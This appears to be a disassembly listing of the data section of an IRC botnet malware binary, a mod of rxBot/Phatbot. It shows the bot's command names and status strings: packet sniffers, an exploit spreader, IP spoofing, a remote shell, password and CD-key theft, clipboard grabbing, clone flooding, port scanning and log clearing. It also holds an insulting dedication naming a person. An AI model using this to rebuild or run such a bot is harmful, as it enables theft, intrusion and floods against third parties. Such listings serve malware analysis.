		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B120	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B150	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B178	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B1E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B21C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B24C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C44o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C2Co
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C4Co
		unicode	0, <n>,0
unk_42B34C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3AC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3C4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B3DC	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B424	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B44C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B450	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B45C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B464	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B4D4	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B4E8	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B4EC	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B4FC	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B500	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B504	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42B56C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B5AC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42B610	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_42B650	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B68C	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6B8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B6E4	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B6F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42B7E0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B814	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B854	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42B880	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42B8BC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B8E4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B8F4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B900	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B910	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B920	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B954	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42B9D0	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42B9E8	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA24	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA44	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA48	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA60	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BA98	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAB0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BACC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BAE8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB04	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BB40	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB64	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BB84	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBA4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBBC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BBDC	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC04	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42BC30	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC4C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42BC90	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42BCE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42BD30	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42BD6C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDA8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BDE4	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE20	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE5C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42BE90	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42BEB0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BEE8	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF24	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFA4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42BFE4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C020	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE7o
					; sub_401ACD+4FA1o
dword_42C090	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C138	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C16C	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A0	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1B4	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1B8	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1C4	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
